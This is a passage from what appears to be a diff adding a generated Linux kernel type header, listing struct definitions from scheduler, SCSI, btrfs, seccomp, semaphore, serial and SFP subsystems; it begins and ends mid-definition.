unsigned long max_capacity; + unsigned long next_update; + int imbalance; + int id; + unsigned long cpumask[0]; +}; + +struct sched_info { + unsigned long pcount; + unsigned long long run_delay; + unsigned long long last_arrival; + unsigned long long last_queued; +}; + +struct sched_param { + int sched_priority; +}; + +struct sched_rt_entity { + struct list_head run_list; + unsigned long timeout; + unsigned long watchdog_stamp; + unsigned int time_slice; + unsigned short on_rq; + unsigned short on_list; + struct sched_rt_entity *back; +}; + +struct sched_statistics {}; + +struct scm_fp_list; + +struct scm_cookie { + struct pid *pid; + struct scm_fp_list *fp; + struct scm_creds creds; +}; + +struct unix_edge; + +struct scm_fp_list { + short count; + short count_unix; + short max; + bool inflight; + bool dead; + struct list_head vertices; + struct unix_edge *edges; + struct user_struct *user; + struct file *fp[253]; +}; + +struct scm_stat { + atomic_t nr_fds; + unsigned long nr_unix_fds; +}; + +struct scm_timestamping { + struct __kernel_old_timespec ts[3]; +}; + +struct scm_timestamping64 { + struct __kernel_timespec ts[3]; +}; + +struct scm_timestamping_internal { + struct timespec64 ts[3]; +}; + +struct scm_ts_pktinfo { + __u32 if_index; + __u32 pkt_length; + __u32 reserved[2]; +}; + +struct scomp_alg { + void * (*alloc_ctx)(struct crypto_scomp *); + void (*free_ctx)(struct crypto_scomp *, void *); + int (*compress)(struct crypto_scomp *, const u8 *, unsigned int, u8 *, unsigned int *, void *); + int (*decompress)(struct crypto_scomp *, const u8 *, unsigned int, u8 *, unsigned int *, void *); + union { + struct { + struct crypto_alg base; + }; + struct comp_alg_common calg; + }; +}; + +struct scomp_scratch { + spinlock_t lock; + void *src; + void *dst; +}; + +struct scrub_sector_verification; + +struct scrub_stripe { + struct scrub_ctx *sctx; + struct btrfs_block_group *bg; + struct page *pages[16]; + struct scrub_sector_verification *sectors; + struct btrfs_device *dev; + u64 logical; + u64 physical; + u16 mirror_num; + u16 nr_sectors; + u16 nr_data_extents; + u16 nr_meta_extents; + atomic_t pending_io; + wait_queue_head_t io_wait; + wait_queue_head_t repair_wait; + unsigned long state; + unsigned long extent_sector_bitmap; + unsigned long init_error_bitmap; + unsigned int init_nr_io_errors; + unsigned int init_nr_csum_errors; + unsigned int init_nr_meta_errors; + unsigned long error_bitmap; + unsigned long io_error_bitmap; + unsigned long csum_error_bitmap; + unsigned long meta_error_bitmap; + unsigned long write_error_bitmap; + spinlock_t write_error_lock; + u8 *csums; + struct work_struct work; +}; + +struct scrub_ctx { + struct scrub_stripe stripes[128]; + struct scrub_stripe *raid56_data_stripes; + struct btrfs_fs_info *fs_info; + struct btrfs_path extent_path; + struct btrfs_path csum_path; + int first_free; + int cur_stripe; + atomic_t cancel_req; + int readonly; + ktime_t throttle_deadline; + u64 throttle_sent; + int is_dev_replace; + u64 write_pointer; + struct mutex wr_lock; + struct btrfs_device *wr_tgtdev; + struct btrfs_scrub_progress stat; + spinlock_t stat_lock; + refcount_t refs; +}; + +struct scrub_sector_verification { + bool is_metadata; + union { + u8 *csum; + u64 generation; + }; +}; + +struct scrub_warning { + struct btrfs_path *path; + u64 extent_item_size; + const char *errstr; + u64 physical; + u64 logical; + struct btrfs_device *dev; +}; + +struct scsi_data_buffer { + struct sg_table table; + unsigned int length; +}; + +struct scsi_cmnd { + struct scsi_device *device; + struct list_head eh_entry; + struct delayed_work abort_work; + struct callback_head rcu; + int eh_eflags; + int budget_token; + unsigned long jiffies_at_alloc; + int retries; + int allowed; + unsigned char prot_op; + unsigned char prot_type; + unsigned char prot_flags; + enum scsi_cmnd_submitter submitter; + unsigned short cmd_len; + enum dma_data_direction sc_data_direction; + unsigned char cmnd[32]; + struct scsi_data_buffer sdb; + struct scsi_data_buffer *prot_sdb; + unsigned int underflow; + unsigned int transfersize; + unsigned int resid_len; + unsigned int sense_len; + unsigned char *sense_buffer; + int flags; + unsigned long state; + unsigned int extra_len; + unsigned char *host_scribble; + int result; +}; + +struct scsi_dev_info_list { + struct list_head dev_info_list; + char vendor[8]; + char model[16]; + blist_flags_t flags; + unsigned int compatible; +}; + +struct scsi_dev_info_list_table { + struct list_head node; + struct list_head scsi_dev_info_list; + const char *name; + int key; +}; + +struct scsi_vpd; + +struct scsi_target; + +struct scsi_device_handler; + +struct scsi_device { + struct Scsi_Host *host; + struct request_queue *request_queue; + struct list_head siblings; + struct list_head same_target_siblings; + struct sbitmap budget_map; + atomic_t device_blocked; + atomic_t restarts; + spinlock_t list_lock; + struct list_head starved_entry; + unsigned short queue_depth; + unsigned short max_queue_depth; + unsigned short last_queue_full_depth; + unsigned short last_queue_full_count; + unsigned long last_queue_full_time; + unsigned long queue_ramp_up_period; + unsigned long last_queue_ramp_up; + unsigned int id; + unsigned int channel; + u64 lun; + unsigned int manufacturer; + unsigned int sector_size; + void *hostdata; + unsigned char type; + char scsi_level; + char inq_periph_qual; + struct mutex inquiry_mutex; + unsigned char inquiry_len; + unsigned char *inquiry; + const char *vendor; + const char *model; + const char *rev; + struct scsi_vpd __attribute__((btf_type_tag("rcu"))) *vpd_pg0; + struct scsi_vpd __attribute__((btf_type_tag("rcu"))) *vpd_pg83; + struct scsi_vpd __attribute__((btf_type_tag("rcu"))) *vpd_pg80; + struct scsi_vpd __attribute__((btf_type_tag("rcu"))) *vpd_pg89; + struct scsi_vpd __attribute__((btf_type_tag("rcu"))) *vpd_pgb0; + struct scsi_vpd __attribute__((btf_type_tag("rcu"))) *vpd_pgb1; + struct scsi_vpd __attribute__((btf_type_tag("rcu"))) *vpd_pgb2; + struct scsi_vpd __attribute__((btf_type_tag("rcu"))) *vpd_pgb7; + struct scsi_target *sdev_target; + blist_flags_t sdev_bflags; + unsigned int eh_timeout; + unsigned int manage_system_start_stop: 1; + unsigned int manage_runtime_start_stop: 1; + unsigned int manage_shutdown: 1; + unsigned int force_runtime_start_on_system_start: 1; + unsigned int removable: 1; + unsigned int changed: 1; + unsigned int busy: 1; + unsigned int lockable: 1; + unsigned int locked: 1; + unsigned int borken: 1; + unsigned int disconnect: 1; + unsigned int soft_reset: 1; + unsigned int sdtr: 1; + unsigned int wdtr: 1; + unsigned int ppr: 1; + unsigned int tagged_supported: 1; + unsigned int simple_tags: 1; + unsigned int was_reset: 1; + unsigned int expecting_cc_ua: 1; + unsigned int use_10_for_rw: 1; + unsigned int use_10_for_ms: 1; + unsigned int set_dbd_for_ms: 1; + unsigned int read_before_ms: 1; + unsigned int no_report_opcodes: 1; + unsigned int no_write_same: 1; + unsigned int use_16_for_rw: 1; + unsigned int use_16_for_sync: 1; + unsigned int skip_ms_page_8: 1; + unsigned int skip_ms_page_3f: 1; + unsigned int skip_vpd_pages: 1; + unsigned int try_vpd_pages: 1; + unsigned int use_192_bytes_for_3f: 1; + unsigned int no_start_on_add: 1; + unsigned int allow_restart: 1; + unsigned int start_stop_pwr_cond: 1; + unsigned int no_uld_attach: 1; + unsigned int select_no_atn: 1; + unsigned int fix_capacity: 1; + unsigned int guess_capacity: 1; + unsigned int retry_hwerror: 1; + unsigned int last_sector_bug: 1; + unsigned int no_read_disc_info: 1; + unsigned int no_read_capacity_16: 1; + unsigned int try_rc_10_first: 1; + unsigned int security_supported: 1; + unsigned int is_visible: 1; + unsigned int wce_default_on: 1; + unsigned int no_dif: 1; + unsigned int broken_fua: 1; + unsigned int lun_in_cdb: 1; + unsigned int unmap_limit_for_ws: 1; + unsigned int rpm_autosuspend: 1; + unsigned int ignore_media_change: 1; + unsigned int silence_suspend: 1; + unsigned int no_vpd_size: 1; + unsigned int cdl_supported: 1; + unsigned int cdl_enable: 1; + unsigned int queue_stopped; + bool offline_already; + atomic_t disk_events_disable_depth; + unsigned long supported_events[1]; + unsigned long pending_events[1]; + struct list_head event_list; + struct work_struct event_work; + unsigned int max_device_blocked; + atomic_t iorequest_cnt; + atomic_t iodone_cnt; + atomic_t ioerr_cnt; + atomic_t iotmo_cnt; + struct device sdev_gendev; + struct device sdev_dev; + struct work_struct requeue_work; + struct scsi_device_handler *handler; + void *handler_data; + size_t dma_drain_len; + void *dma_drain_buf; + unsigned int sg_timeout; + unsigned int sg_reserved_size; + struct bsg_device *bsg_dev; + unsigned char access_state; + struct mutex state_mutex; + enum scsi_device_state sdev_state; + struct task_struct *quiesced_by; + unsigned long sdev_data[0]; +}; + +typedef void (*activate_complete)(void *, int); + +struct scsi_sense_hdr; + +struct scsi_device_handler { + struct list_head list; + struct module *module; + const char *name; + enum scsi_disposition (*check_sense)(struct scsi_device *, struct scsi_sense_hdr *); + int (*attach)(struct scsi_device *); + void (*detach)(struct scsi_device *); + int (*activate)(struct scsi_device *, activate_complete, void *); + blk_status_t (*prep_fn)(struct scsi_device *, struct request *); + int (*set_params)(struct scsi_device *, const char *); + void (*rescan)(struct scsi_device *); +}; + +struct scsi_disk { + struct scsi_device *device; + struct device disk_dev; + struct gendisk *disk; + struct opal_dev *opal_dev; + atomic_t openers; + sector_t capacity; + int max_retries; + u32 min_xfer_blocks; + u32 max_xfer_blocks; + u32 opt_xfer_blocks; + u32 max_ws_blocks; + u32 max_unmap_blocks; + u32 unmap_granularity; + u32 unmap_alignment; + u32 max_atomic; + u32 atomic_alignment; + u32 atomic_granularity; + u32 max_atomic_with_boundary; + u32 max_atomic_boundary; + u32 index; + unsigned int physical_block_size; + unsigned int max_medium_access_timeouts; + unsigned int medium_access_timed_out; + u16 permanent_stream_count; + u8 media_present; + u8 write_prot; + u8 protection_type; + u8 provisioning_mode; + u8 zeroing_mode; + u8 nr_actuators; + bool suspended; + unsigned int ATO: 1; + unsigned int cache_override: 1; + unsigned int WCE: 1; + unsigned int RCD: 1; + unsigned int DPOFUA: 1; + unsigned int first_scan: 1; + unsigned int lbpme: 1; + unsigned int lbprz: 1; + unsigned int lbpu: 1; + unsigned int lbpws: 1; + unsigned int lbpws10: 1; + unsigned int lbpvpd: 1; + unsigned int ws10: 1; + unsigned int ws16: 1; + unsigned int rc_basis: 2; + unsigned int zoned: 2; + unsigned int urswrz: 1; + unsigned int security: 1; + unsigned int ignore_medium_access_errors: 1; + unsigned int rscs: 1; + unsigned int use_atomic_write_boundary: 1; +}; + +struct scsi_driver { + struct device_driver gendrv; + int (*resume)(struct device *); + void (*rescan)(struct device *); + blk_status_t (*init_command)(struct scsi_cmnd *); + void (*uninit_command)(struct scsi_cmnd *); + int (*done)(struct scsi_cmnd *); + int (*eh_action)(struct scsi_cmnd *, int); + void (*eh_reset)(struct scsi_cmnd *); +}; + +struct scsi_eh_save { + int result; + unsigned int resid_len; + int eh_eflags; + enum dma_data_direction data_direction; + unsigned int underflow; + unsigned char cmd_len; + unsigned char prot_op; + unsigned char cmnd[32]; + struct scsi_data_buffer sdb; + struct scatterlist sense_sgl; +}; + +struct scsi_event { + enum scsi_device_event evt_type; + struct list_head node; +}; + +struct scsi_failures; + +struct scsi_exec_args { + unsigned char *sense; + unsigned int sense_len; + struct scsi_sense_hdr *sshdr; + blk_mq_req_flags_t req_flags; + int scmd_flags; + int *resid; + struct scsi_failures *failures; +}; + +struct scsi_failure { + int result; + u8 sense; + u8 asc; + u8 ascq; + s8 allowed; + s8 retries; +}; + +struct scsi_failures { + int total_allowed; + int total_retries; + struct scsi_failure *failure_definitions; +}; + +struct scsi_host_busy_iter_data { + bool (*fn)(struct scsi_cmnd *, void *); + void *priv; +}; + +struct scsi_host_template { + unsigned int cmd_size; + int (*queuecommand)(struct Scsi_Host *, struct scsi_cmnd *); + void (*commit_rqs)(struct Scsi_Host *, u16); + struct module *module; + const char *name; + const char * (*info)(struct Scsi_Host *); + int (*ioctl)(struct scsi_device *, unsigned int, void __attribute__((btf_type_tag("user"))) *); + int (*init_cmd_priv)(struct Scsi_Host *, struct scsi_cmnd *); + int (*exit_cmd_priv)(struct Scsi_Host *, struct scsi_cmnd *); + int (*eh_abort_handler)(struct scsi_cmnd *); + int (*eh_device_reset_handler)(struct scsi_cmnd *); + int (*eh_target_reset_handler)(struct scsi_cmnd *); + int (*eh_bus_reset_handler)(struct scsi_cmnd *); + int (*eh_host_reset_handler)(struct scsi_cmnd *); + int (*slave_alloc)(struct scsi_device *); + int (*device_configure)(struct scsi_device *, struct queue_limits *); + int (*slave_configure)(struct scsi_device *); + void (*slave_destroy)(struct scsi_device *); + int (*target_alloc)(struct scsi_target *); + void (*target_destroy)(struct scsi_target *); + int (*scan_finished)(struct Scsi_Host *, unsigned long); + void (*scan_start)(struct Scsi_Host *); + int (*change_queue_depth)(struct scsi_device *, int); + void (*map_queues)(struct Scsi_Host *); + int (*mq_poll)(struct Scsi_Host *, unsigned int); + bool (*dma_need_drain)(struct request *); + int (*bios_param)(struct scsi_device *, struct block_device *, sector_t, int *); + void (*unlock_native_capacity)(struct scsi_device *); + int (*show_info)(struct seq_file *, struct Scsi_Host *); + int (*write_info)(struct Scsi_Host *, char *, int); + enum scsi_timeout_action (*eh_timed_out)(struct scsi_cmnd *); + bool (*eh_should_retry_cmd)(struct scsi_cmnd *); + int (*host_reset)(struct Scsi_Host *, int); + const char *proc_name; + int can_queue; + int this_id; + unsigned short sg_tablesize; + unsigned short sg_prot_tablesize; + unsigned int max_sectors; + unsigned int max_segment_size; + unsigned int dma_alignment; + unsigned long dma_boundary; + unsigned long virt_boundary_mask; + short cmd_per_lun; + int tag_alloc_policy; + unsigned int track_queue_depth: 1; + unsigned int supported_mode: 2; + unsigned int emulated: 1; + unsigned int skip_settle_delay: 1; + unsigned int no_write_same: 1; + unsigned int host_tagset: 1; + unsigned int queuecommand_may_block: 1; + unsigned int max_host_blocked; + const struct attribute_group **shost_groups; + const struct attribute_group **sdev_groups; + u64 vendor_id; +}; + +struct scsi_idlun { + __u32 dev_id; + __u32 host_unique_id; +}; + +struct scsi_io_group_descriptor { + u8 ic_enable: 1; + u8 cs_enble: 1; + u8 st_enble: 1; + u8 reserved1: 3; + u8 io_advice_hints_mode: 2; + u8 reserved2[3]; + u8 lbm_descriptor_type: 4; + u8 rlbsr: 2; + u8 reserved3: 1; + u8 acdlu: 1; + u8 params[2]; + u8 reserved4; + u8 reserved5[8]; +}; + +struct scsi_ioctl_command { + unsigned int inlen; + unsigned int outlen; + unsigned char data[0]; +}; + +struct scsi_lun { + __u8 scsi_lun[8]; +}; + +struct scsi_mode_data { + __u32 length; + __u16 block_descriptor_length; + __u8 medium_type; + __u8 device_specific; + __u8 header_length; + __u8 longlba: 1; +}; + +struct scsi_sense_hdr { + u8 response_code; + u8 sense_key; + u8 asc; + u8 ascq; + u8 byte4; + u8 byte5; + u8 byte6; + u8 additional_length; +}; + +struct scsi_stream_status { + u8 reserved1: 7; + u8 perm: 1; + u8 reserved2; + __be16 stream_identifier; + u8 rel_lifetime: 6; + u8 reserved3: 2; + u8 reserved4[3]; +}; + +struct scsi_stream_status_header { + __be32 len; + u16 reserved; + __be16 number_of_open_streams; + struct { + struct {} __empty_stream_status; + struct scsi_stream_status stream_status[0]; + }; +}; + +struct scsi_target { + struct scsi_device *starget_sdev_user; + struct list_head siblings; + struct list_head devices; + struct device dev; + struct kref reap_ref; + unsigned int channel; + unsigned int id; + unsigned int create: 1; + unsigned int single_lun: 1; + unsigned int pdt_1f_for_no_lun: 1; + unsigned int no_report_luns: 1; + unsigned int expecting_lun_change: 1; + atomic_t target_busy; + atomic_t target_blocked; + unsigned int can_queue; + unsigned int max_target_blocked; + char scsi_level; + enum scsi_target_state state; + void *hostdata; + unsigned long starget_data[0]; +}; + +struct scsi_varlen_cdb_hdr { + __u8 opcode; + __u8 control; + __u8 misc[5]; + __u8 additional_cdb_length; + __be16 service_action; +}; + +struct scsi_vpd { + struct callback_head rcu; + int len; + unsigned char data[0]; +}; + +struct sctp_chunkhdr { + __u8 type; + __u8 flags; + __be16 length; +}; + +struct sctphdr { + __be16 source; + __be16 dest; + __be32 vtag; + __le32 checksum; +}; + +struct scx_bstr_buf { + u64 data[12]; + char line[1024]; +}; + +struct scx_cgroup_init_args { + u32 weight; +}; + +struct scx_cpu_acquire_args {}; + +struct scx_cpu_release_args { + enum scx_cpu_preempt_reason reason; + struct task_struct *task; +}; + +struct scx_dsp_buf_ent { + struct task_struct *task; + unsigned long qseq; + u64 dsq_id; + u64 enq_flags; +}; + +struct scx_dsp_ctx { + struct rq *rq; + u32 cursor; + u32 nr_tasks; + struct scx_dsp_buf_ent buf[0]; +}; + +struct scx_dump_ctx { + enum scx_exit_kind kind; + s64 exit_code; + const char *reason; + u64 at_ns; + u64 at_jiffies; +}; + +struct scx_dump_data { + s32 cpu; + bool first; + s32 cursor; + struct seq_buf *s; + const char *prefix; + struct scx_bstr_buf buf; +}; + +struct scx_exit_info { + enum scx_exit_kind kind; + s64 exit_code; + const char *reason; + unsigned long *bt; + u32 bt_len; + char *msg; + char *dump; +}; + +struct scx_exit_task_args { + bool cancelled; +}; + +struct scx_init_task_args { + bool fork; + struct cgroup *cgroup; +}; + +struct scx_task_iter { + struct sched_ext_entity cursor; + struct task_struct *locked; + struct rq *rq; + struct rq_flags rf; +}; + +struct sd_flag_debug { + unsigned int meta_flags; + char *name; +}; + +struct sd_flow_limit { + u64 count; + unsigned int num_buckets; + unsigned int history_head; + u16 history[128]; + u8 buckets[0]; +}; + +struct sg_lb_stats { + unsigned long avg_load; + unsigned long group_load; + unsigned long group_capacity; + unsigned long group_util; + unsigned long group_runnable; + unsigned int sum_nr_running; + unsigned int sum_h_nr_running; + unsigned int idle_cpus; + unsigned int group_weight; + enum group_type group_type; + unsigned int group_asym_packing; + unsigned int group_smt_balance; + unsigned long group_misfit_task_load; +}; + +struct sd_lb_stats { + struct sched_group *busiest; + struct sched_group *local; + unsigned long total_load; + unsigned long total_capacity; + unsigned long avg_load; + unsigned int prefer_sibling; + struct sg_lb_stats busiest_stat; + struct sg_lb_stats local_stat; +}; + +struct shash_desc { + struct crypto_shash *tfm; + void *__ctx[0]; +}; + +struct sdesc { + struct shash_desc shash; + char ctx[0]; +}; + +struct seccomp_filter; + +struct seccomp { + int mode; + atomic_t filter_count; + struct seccomp_filter *filter; +}; + +struct seccomp_data { + int nr; + __u32 arch; + __u64 instruction_pointer; + __u64 args[6]; +}; + +struct seccomp_filter { + refcount_t refs; + refcount_t users; + bool log; + bool wait_killable_recv; + struct action_cache cache; + struct seccomp_filter *prev; + struct bpf_prog *prog; + struct notification *notif; + struct mutex notify_lock; + wait_queue_head_t wqh; +}; + +struct seccomp_kaddfd { + struct file *file; + int fd; + unsigned int flags; + __u32 ioctl_flags; + union { + bool setfd; + int ret; + }; + struct completion completion; + struct list_head list; +}; + +struct seccomp_knotif { + struct task_struct *task; + u64 id; + const struct seccomp_data *data; + enum notify_state state; + int error; + long val; + u32 flags; + struct completion ready; + struct list_head list; + struct list_head addfd; +}; + +struct seccomp_log_name { + u32 log; + const char *name; +}; + +struct seccomp_notif { + __u64 id; + __u32 pid; + __u32 flags; + struct seccomp_data data; +}; + +struct seccomp_notif_addfd { + __u64 id; + __u32 flags; + __u32 srcfd; + __u32 newfd; + __u32 newfd_flags; +}; + +struct seccomp_notif_resp { + __u64 id; + __s64 val; + __s32 error; + __u32 flags; +}; + +struct seccomp_notif_sizes { + __u16 seccomp_notif; + __u16 seccomp_notif_resp; + __u16 seccomp_data; +}; + +struct sector_ptr { + struct page *page; + unsigned int pgoff: 24; + unsigned int uptodate: 8; +}; + +struct seg6_pernet_data { + struct mutex lock; + struct in6_addr __attribute__((btf_type_tag("rcu"))) *tun_src; +}; + +struct select_data { + struct dentry *start; + union { + long found; + struct dentry *victim; + }; + struct list_head dispose; +}; + +struct sem { + int semval; + struct pid *sempid; + spinlock_t lock; + struct list_head pending_alter; + struct list_head pending_const; + time64_t sem_otime; + long: 64; +}; + +struct sem_array { + struct kern_ipc_perm sem_perm; + time64_t sem_ctime; + struct list_head pending_alter; + struct list_head pending_const; + struct list_head list_id; + int sem_nsems; + int complex_count; + unsigned int use_global_lock; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct sem sems[0]; +}; + +struct sem_undo; + +struct sembuf; + +struct sem_queue { + struct list_head list; + struct task_struct *sleeper; + struct sem_undo *undo; + struct pid *pid; + int status; + struct sembuf *sops; + struct sembuf *blocking; + int nsops; + bool alter; + bool dupsop; +}; + +struct sem_undo_list; + +struct sem_undo { + struct list_head list_proc; + struct callback_head rcu; + struct sem_undo_list *ulp; + struct list_head list_id; + int semid; + short semadj[0]; +}; + +struct sem_undo_list { + refcount_t refcnt; + spinlock_t lock; + struct list_head list_proc; +}; + +struct semaphore_waiter { + struct list_head list; + struct task_struct *task; + bool up; +}; + +struct sembuf { + unsigned short sem_num; + short sem_op; + short sem_flg; +}; + +struct semid64_ds { + struct ipc64_perm sem_perm; + __kernel_long_t sem_otime; + __kernel_ulong_t __unused1; + __kernel_long_t sem_ctime; + __kernel_ulong_t __unused2; + __kernel_ulong_t sem_nsems; + __kernel_ulong_t __unused3; + __kernel_ulong_t __unused4; +}; + +struct semid_ds { + struct ipc_perm sem_perm; + __kernel_old_time_t sem_otime; + __kernel_old_time_t sem_ctime; + struct sem *sem_base; + struct sem_queue *sem_pending; + struct sem_queue **sem_pending_last; + struct sem_undo *undo; + unsigned short sem_nsems; +}; + +struct seminfo { + int semmap; + int semmni; + int semmns; + int semmnu; + int semmsl; + int semopm; + int semume; + int semusz; + int semvmx; + int semaem; +}; + +struct send_ctx { + struct file *send_filp; + loff_t send_off; + char *send_buf; + u32 send_size; + u32 send_max_size; + bool put_data; + struct page **send_buf_pages; + u64 flags; + u32 proto; + struct btrfs_root *send_root; + struct btrfs_root *parent_root; + struct clone_root *clone_roots; + int clone_roots_cnt; + struct btrfs_path *left_path; + struct btrfs_path *right_path; + struct btrfs_key *cmp_key; + u64 last_reloc_trans; + u64 cur_ino; + u64 cur_inode_gen; + u64 cur_inode_size; + u64 cur_inode_mode; + u64 cur_inode_rdev; + u64 cur_inode_last_extent; + u64 cur_inode_next_write_offset; + bool cur_inode_new; + bool cur_inode_new_gen; + bool cur_inode_deleted; + bool ignore_cur_inode; + bool cur_inode_needs_verity; + void *verity_descriptor; + u64 send_progress; + struct list_head new_refs; + struct list_head deleted_refs; + struct btrfs_lru_cache name_cache; + struct inode *cur_inode; + struct file_ra_state ra; + u64 page_cache_clear_start; + bool clean_page_cache; + struct rb_root pending_dir_moves; + struct rb_root waiting_dir_moves; + struct rb_root orphan_dirs; + struct rb_root rbtree_new_refs; + struct rb_root rbtree_deleted_refs; + struct btrfs_lru_cache backref_cache; + u64 backref_cache_last_reloc_trans; + struct btrfs_lru_cache dir_created_cache; + struct btrfs_lru_cache dir_utimes_cache; +}; + +struct virtnet_sq_stats { + struct u64_stats_sync syncp; + u64_stats_t packets; + u64_stats_t bytes; + u64_stats_t xdp_tx; + u64_stats_t xdp_tx_drops; + u64_stats_t kicks; + u64_stats_t tx_timeouts; + u64_stats_t stop; + u64_stats_t wake; +}; + +struct send_queue { + struct virtqueue *vq; + struct scatterlist sg[19]; + char name[16]; + struct virtnet_sq_stats stats; + struct virtnet_interrupt_coalesce intr_coal; + struct napi_struct napi; + bool reset; +}; + +struct send_signal_irq_work { + struct irq_work irq_work; + struct task_struct *task; + u32 sig; + enum pid_type type; +}; + +struct seqDef_s { + U32 offBase; + U16 litLength; + U16 mlBase; +}; + +struct seq_operations { + void * (*start)(struct seq_file *, loff_t *); + void (*stop)(struct seq_file *, void *); + void * (*next)(struct seq_file *, void *, loff_t *); + int (*show)(struct seq_file *, void *); +}; + +struct serial8250_config { + const char *name; + unsigned short fifo_size; + unsigned short tx_loadsz; + unsigned char fcr; + unsigned char rxtrig_bytes[4]; + unsigned int flags; +}; + +struct serial_ctrl_device { + struct device dev; + struct ida port_ida; +}; + +struct serial_icounter_struct { + int cts; + int dsr; + int rng; + int dcd; + int rx; + int tx; + int frame; + int overrun; + int parity; + int brk; + int buf_overrun; + int reserved[9]; +}; + +struct serial_in_rdev { + struct rb_root_cached serial_rb; + spinlock_t serial_lock; + wait_queue_head_t serial_io_wait; +}; + +struct serial_info { + struct rb_node node; + sector_t start; + sector_t last; + sector_t _subtree_last; +}; + +struct serial_port_device { + struct device dev; + struct uart_port *port; + unsigned int tx_enabled: 1; +}; + +struct serial_private { + struct pci_dev *dev; + unsigned int nr; + struct pci_serial_quirk *quirk; + const struct pciserial_board *board; + int line[0]; +}; + +struct serial_struct { + int type; + int line; + unsigned int port; + int irq; + int flags; + int xmit_fifo_size; + int custom_divisor; + int baud_base; + unsigned short close_delay; + char io_type; + char reserved_char[1]; + int hub6; + unsigned short closing_wait; + unsigned short closing_wait2; + unsigned char *iomem_base; + unsigned short iomem_reg_shift; + unsigned int port_high; + unsigned long iomap_base; +}; + +struct serio_device_id { + __u8 type; + __u8 extra; + __u8 id; + __u8 proto; +}; + +struct serio_driver; + +struct serio { + void *port_data; + char name[32]; + char phys[32]; + char firmware_id[128]; + bool manual_bind; + struct serio_device_id id; + spinlock_t lock; + int (*write)(struct serio *, unsigned char); + int (*open)(struct serio *); + void (*close)(struct serio *); + int (*start)(struct serio *); + void (*stop)(struct serio *); + struct serio *parent; + struct list_head child_node; + struct list_head children; + unsigned int depth; + struct serio_driver *drv; + struct mutex drv_mutex; + struct device dev; + struct list_head node; + struct mutex *ps2_cmd_mutex; +}; + +struct serio_driver { + const char *description; + const struct serio_device_id *id_table; + bool manual_bind; + void (*write_wakeup)(struct serio *); + irqreturn_t (*interrupt)(struct serio *, unsigned char, unsigned int); + int (*connect)(struct serio *, struct serio_driver *); + int (*reconnect)(struct serio *); + int (*fast_reconnect)(struct serio *); + void (*disconnect)(struct serio *); + void (*cleanup)(struct serio *); + struct device_driver driver; +}; + +struct serio_event { + enum serio_event_type type; + void *object; + struct module *owner; + struct list_head node; +}; + +struct tty_struct; + +struct serport { + struct tty_struct *tty; + wait_queue_head_t wait; + struct serio *serio; + struct serio_device_id id; + spinlock_t lock; + unsigned long flags; +}; + +struct set_affinity_pending { + refcount_t refs; + unsigned int stop_pending; + struct completion done; + struct cpu_stop_work stop_work; + struct migration_arg arg; +}; + +struct set_config_request { + struct usb_device *udev; + int config; + struct work_struct work; + struct list_head node; +}; + +struct set_mtrr_data { + unsigned long smp_base; + unsigned long smp_size; + unsigned int smp_reg; + mtrr_type smp_type; +}; + +struct setup_indirect { + __u32 type; + __u32 reserved; + __u64 len; + __u64 addr; +}; + +struct sfp_eeprom_base { + u8 phys_id; + u8 phys_ext_id; + u8 connector; + u8 if_1x_copper_passive: 1; + u8 if_1x_copper_active: 1; + u8 if_1x_lx: 1; + u8 if_1x_sx: 1; + u8 e10g_base_sr: 1; + u8 e10g_base_lr: 1; + u8 e10g_base_lrm: 1; + u8 e10g_base_er: 1; + u8 sonet_oc3_short_reach: 1; + u8 sonet_oc3_smf_intermediate_reach: 1; + u8 sonet_oc3_smf_long_reach: 1; + u8 unallocated_5_3: 1; + u8 sonet_oc12_short_reach: 1; + u8 sonet_oc12_smf_intermediate_reach: 1; + u8 sonet_oc12_smf_long_reach: 1; + u8 unallocated_5_7: 1; + u8 sonet_oc48_short_reach: 1; + u8 sonet_oc48_intermediate_reach: 1; + u8 sonet_oc48_long_reach: 1; + u8 sonet_reach_bit2: 1; + u8 sonet_reach_bit1: 1; + u8 sonet_oc192_short_reach: 1; + u8 escon_smf_1310_laser: 1; + u8 escon_mmf_1310_led: 1; + u8 e1000_base_sx: 1; + u8 e1000_base_lx: 1; + u8 e1000_base_cx: 1; + u8 e1000_base_t: 1; + u8 e100_base_lx: 1; + u8 e100_base_fx: 1; + u8 e_base_bx10: 1; + u8 e_base_px: 1; + u8 fc_tech_electrical_inter_enclosure: 1; + u8 fc_tech_lc: 1; + u8 fc_tech_sa: 1; + u8 fc_ll_m: 1; + u8 fc_ll_l: 1; + u8 fc_ll_i: 1; + u8 fc_ll_s: 1; + u8 fc_ll_v: 1; + u8 unallocated_8_0: 1; + u8 unallocated_8_1: 1; + u8 sfp_ct_passive: 1; + u8 sfp_ct_active: 1; + u8 fc_tech_ll: 1; + u8 fc_tech_sl: 1; + u8 fc_tech_sn: 1; + u8 fc_tech_electrical_intra_enclosure: 1; + u8 fc_media_sm: 1; + u8 unallocated_9_1: 1; + u8 fc_media_m5: 1; + u8 fc_media_m6: 1; + u8 fc_media_tv: 1; + u8 fc_media_mi: 1; + u8 fc_media_tp: 1; + u8 fc_media_tw: 1; + u8 fc_speed_100: 1; + u8 unallocated_10_1: 1; + u8 fc_speed_200: 1; + u8 fc_speed_3200: 1; + u8 fc_speed_400: 1; + u8 fc_speed_1600: 1; + u8 fc_speed_800: 1; + u8 fc_speed_1200: 1; + u8 encoding; + u8 br_nominal; + u8 rate_id; + u8 link_len[6]; + char vendor_name[16]; + u8 extended_cc; + char vendor_oui[3]; + char vendor_pn[16]; + char vendor_rev[4]; + union { + __be16 optical_wavelength; + __be16 cable_compliance; + struct { + u8 sff8431_app_e: 1; + u8 fc_pi_4_app_h: 1; + u8 reserved60_2: 6; + u8 reserved61: 8; + } passive; + struct { + u8 sff8431_app_e: 1; + u8 fc_pi_4_app_h: 1; + u8 sff8431_lim: 1; + u8 fc_pi_4_lim: 1; + u8 reserved60_4: 4; + u8 reserved61: 8; + } active; + }; + u8 reserved62; + u8 cc_base; +}; + +struct sfp_eeprom_ext { + __be16 options; + u8 br_max; + u8 br_min; + char vendor_sn[16]; + char datecode[8]; + u8 diagmon; + u8 enhopts; + u8 sff8472_compliance; + u8 cc_ext; +}; + +struct sfp_eeprom_id { + struct sfp_eeprom_base base; + struct sfp_eeprom_ext ext; +}; + +struct sfp_upstream_ops { + void (*attach)(void *, struct sfp_bus *); + void (*detach)(void *, struct sfp_bus *); + int (*module_insert)(void *, const struct sfp_eeprom_id *); + void (*module_remove)(void *); + int (*module_start)(void *); + void (*module_stop)(void *); + void (*link_down)(void *); + void (*link_up)(void *); + int 